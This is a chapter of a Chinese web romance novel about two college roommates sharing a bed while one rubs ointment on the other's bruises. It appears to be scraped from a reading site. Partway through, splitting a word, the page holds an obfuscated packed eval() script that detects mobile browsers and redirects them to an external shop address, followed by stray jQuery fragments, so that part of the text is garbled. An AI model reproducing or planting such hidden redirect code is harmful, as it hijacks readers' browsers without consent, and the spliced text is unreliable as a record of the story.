默认冷灰
24号文字
方正启体

19. 黑灯瞎火给兄弟抹药膏

作者:东山花灯本书字数:K更新时间:
    019/东山花灯


    他为什么要关灯?


    曲柚在黑暗中绝望沉思,原本很正常的给室友擦药的情节,似乎一下就变得不能见人起来。


    直男是不会因为给兄弟擦药就心虚躲着其他室友的吧?


    但现在再打开小灯更奇怪,室友一下就能看到肖承风的床帘上映出两个凑在一起的人影,到时候更不好解释。


    两个室友还在低声说话。


    “我靠,出去站了一会儿给我咬这老些包,蚊子能不能给我颁个输血证啊。你看我这两条腿。”卓正阳挠了挠腿上鼓起来的大包,欲哭无泪,“失策了,没带驱蚊水。”


    “所以我就不懂你为什么大晚上跑出去喂蚊子。”齐昊慢条斯理地脱下衣服扔到床边的脏衣篓里,解下项链放到桌上的固定位置,换上拖鞋走去卫生间,哼笑一声,“别说什么为了等我,你看我信么?”


    “真是为了你啊,你没看肖神刚回来的时候,看见我跟着起柚子的哄,眼神都能给我锤烂。没有你我不敢回来啊。”卓正阳又挠了挠胳膊上的蚊子包,催他快洗,“你赶紧的,洗完换我,快痒死了。”


    “着急你就进来和我一起洗,我不介意。”齐昊轻飘飘撂下一句话,剩下着卓正阳站在原地对室友刚才飘来的故意恶心他的眼神打了个哆嗦,“靠”了一句,撸了一把胳膊上起来的鸡皮疙瘩,还就来劲了,小声义正言辞。


    “身正不怕影子斜,我有什么不敢的。”说罢拽下短裤,身上留了条裤衩,也跟着走进卫生间,关门。


    没过几秒被人推出去,齐昊恼羞成怒,压低声音,“你有病啊,滚出去!”卫生间的门从里面嘎哒落锁。


    “嘿嘿。”和室友贩了个剑的卓正阳挨骂后舒坦了,他晃见肖承风床铺上和黑色棺材板同色的床帘,反射性闭嘴,回到自己床下,小心拉开椅子,尽量不发出响动,老实坐在椅子上刷手机,等齐昊洗完出来。


    曲柚和肖承风就保持着他们关灯的姿势等了一会儿,脑子反应了一会儿,曲柚收回按在他哥胸口的手掌——他甚至能感觉到皮肉下那颗器官有节奏的跳动。


    现在好了,曲柚咬了咬嘴唇,弄成偷x现场了。外面还有个人清醒的大活人,他也不敢乱动,生怕床铺发出什么声音。


    怎么收场?


    还好现在黑了灯了,曲柚表面还算镇定,但心里已经走了有一会儿了。


    现在退缩的话,反而显得自己心里有鬼吧?


    咬咬牙,不就是黑灯瞎火给兄弟抹药膏么,他可以的。


    曲柚小心翼翼伸手按住对面的人,大概确定方位后,摸索着捞起药膏又挤进手里一坨,在手掌揉开后,按着记忆力的方位往竹马身上按。


    他好像听见黑暗中冒出来一声轻微的鼻哼,像是带着点笑意,又像是竹马被碰到淤痕的痛声,曲柚不确定。


    黑暗中再次冒出光亮来。


    肖承风举着手机,灯光那头冲着靠墙那面,空间里再次有了点能见度,又不至于晃到曲柚的眼。


    肖承风对他歪了歪头,漆黑的眼默默问他在干嘛。


    曲柚发现他正对着肖承风的眼,刚才在黑暗里怕自己够不到,他还主动往前挪了挪。这会儿两人的鼻尖就差两根指头的距离就能挨到,呼吸纠缠。


    竹马的嘴唇,他只要微微抬下巴,就能正好堵住。


    曲柚也不知道自己脑子发什么愣,他控制不住地垂眼,鸦羽般的睫毛颤了颤,视线黏在对方微抿起来,显得有些不近人情的薄唇上。


    他艰难地扯开自己的视线。


    跪坐着的男生无声动了动唇,伸出一根手指放在唇边,对竹马比出“嘘”的手势。


    肖承风没吭声,也没有任何动作,盯了一眼曲柚压在淡粉色唇上的手指,轻淡地扭头看向一边。任由曲柚瞎玩。


    手机灯的单束光源,在肖承风俊朗的脸上勾勒出清晰的光影分割线。


    男生明明是不好靠近的冷淡面相,但此刻偏头微垂,发丝滑落鼻梁,大概也和无法解释自己这身伤有关,倒是有种任他胡作非为的温顺感。


    事已至此,曲柚只好继续给他哥擦药。手掌下的皮肤呈现出紫红的颜色,借着些微的光他甚至可以看到淤伤和正常皮肤的交界处,有一小片细密的出血点组成的带状边缘。指腹贴上红肿上,甚至可以感觉到那片区域高于正常皮肤的温度。


    那是受伤皮肤组织充血的证明。


    曲柚呼吸一滞,瞬间熄灭了任何旖旎的心思。


    他看着都觉得皮紧发疼,这人就带着这身伤没事人似的和他说没事。


    身上的淤血要想快点好,就得尽快揉开。不疼是不可能的,肖承风却一声没坑,只是肌肉微微绷紧,腹部收紧。


    曲柚越看越气,他凑到他哥耳边,对肖承风咬耳朵,恶狠狠的用气音说,“下次再带伤骗我,我就!”


    他们之间的距离早已超过正常社交范围,男生几乎要跪进自己的怀里,他已经可以闻到曲柚身上的味道了。


    但曲柚从小就和自己没保持过什么正常距离,所以这也是很正常的。


    肖承风动了动按在枕头上的手指,没吭声,保持这个姿势听训。


    曲柚顿了顿,半天没想好怎么放接下来的狠话,看着就在眼前,埋进黑发里的半只耳朵,一怒之下张嘴咬了一口。


    “唔!”


    曲柚惊诧地发现,肖承风不仅没防备似的抖了一下,甚至闷哼出声了。


    他来不及反应是不是自己下嘴太狠了,第一时间捂住肖承风的嘴,扭头盯着外侧床帘。


    外头可还坐着没睡觉的卓正阳呢!


    卓正阳也被突如其来的声音吓得一哆嗦,他僵在原地,连滑手机屏的指头都不敢动了。过了几秒没有后续动静,他才小声道:“肖神,做噩梦啦?”


    没有声音搭理他。


    卫生间的门开了,齐昊洗漱完走出来,看他伸个脖子一脸惊恐地看着肖承风的床位,伸手拍他后脑勺一下,“半夜盯着人家床铺干嘛,你也想爬床么?去洗漱。”


    “我还不想被揍进医院。”卓正阳叹出口气,“吓我一跳,我刚才好像突然听见肖神的声音了,说梦话似的。”


    他站起来伸了伸腰,往正冒热气的卫生间走去,“得了,也别洗澡了,我刷个牙就睡。”


    肖承风被突然糊嘴的红花油味熏了个够呛,差点再打喷嚏,他赶紧握着曲柚的手腕拉下来,撑着床从男生身边挪开,弯腰长臂一捞将被单拽回手里,躺下来给自己盖住。


    期间床铺果然随着动作吱呀了几声,夜深人静的时候尤为清晰,曲柚只觉得整个宿舍都充满了这张床吱呀的声音,头皮发麻。


    曲柚扭头看到已经躺下摆好睡觉姿势的竹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189054|197040||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    马,“?”肖承风没再扭头看他,直接抬手给他比了个手势,让他回自己床铺睡觉去。


    曲柚看看自己的手,刚才不是还好好的让他涂药么?是刚才自己情急之下捂竹马的嘴让他生气了?


    不管怎么样,现在他是不敢回去自己床铺的。


    而且他刚才只涂了上半身,腿上的伤还没给肖承风涂呢。


    曲柚拿起药膏再挤出一坨,往肖承风的腿上盖,却摸到了竹马非常紧绷的大腿肌肉。


    绷那么紧做什么?曲柚食指点点竹马的大腿,示意他放松,被忍无可忍的肖承风抓住手腕,扭头警告。


    “要么回去睡,要么躺下睡。”男生的口型这样对曲柚说。他半张脸埋在阴影里,眼睛深深,眼尾的泪痣在昏暗中带着危险的气息。


    曲柚眨眨眼,表情非常纯良,比了个OK的手势。他老实就地躺下。


    开玩笑,回去是不可能回去的。


    他在他哥面前的人设就是直男小兄弟。他已经快琢磨明白直男人设的要点了,越是没有边界感就越像直男。


    今天晚上的老头背心加短裤就是他精心挑选的直男大学牲必备套装,卓正阳他们晚上和他打闹的时候,完全没有以前那种护着小孩的拘束感。


    这说明他的方向是对的!


    时隔多半年,他又躺在他哥身边了,带着完全不同曾经的心境。大学床铺上要挤下两个男大还是有点紧张,曲柚闭眼,尽量把下半身离他哥远点,万一戳着他哥就不礼貌了。


    说不定以后就是抱一回少一回、见一面少一面的关系了,曲柚很珍惜这种和竹马亲密相处的机会,他甚至有点感谢自己刚才急中生智拉灯了。


    不愧是他。


    关掉手机灯后,肖承风背对着曲柚,给他扯出一半被单让他盖。


    曲柚闻着鼻尖淡淡的药膏味和他哥身上温和的柑橘味,有点昏昏欲睡。


    手心的药膏还没完全抹开,剩下一片黏腻腻的,曲柚想,也别浪费,都给他哥涂上吧。


    把两只手心的药膏集合到一只手上,他按照记忆中的位置,抬手摸索着按在了肖承风腿上刚才带药膏的地方。


    肖承风一僵,就感觉那只温热细嫩的手在努力地搓他的腿,一下下的,努力想搓开那片淤伤。


    药膏接触皮肤化开,伤处又疼又热,指腹摩擦过肌肤的时候,带来一丝若有若无的痒意。


    肖承风想躲开。


    就像小时候曲柚给他上药,小孩下手没个轻重,时轻时重的,弄得他又疼又痒。


    他烦得很,想叫人到一边玩去,别来烦他。


    但一看小孩儿红着眼睛掉泪,一脸委屈地给他抹药,他就又压下自己的性子,老实坐在他面前,任由人摆弄了。


    头皮紧绷,身体里有一团火焰在下腹游走,撞不出门路,烧得他发疼。


    他在黑暗中握着拳,指尖嵌入掌心。他对这种莫名其妙、无法控制又不合时宜的生理性/欲/望而感到恶心。


    等曲柚揉了十多秒还没停的时候,肖承风终于忍无可忍,伸手握住了身后那人的手腕,将他的胳膊从被单下掏出来环在自己腰间。


    曲柚果然老老实实不再动了。


    身后暖呼呼的,像一只小狗贴在后面。


    肖承风闭眼,本以为还会继续梦到那些曾经的过往碎片,却是一夜无眠。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)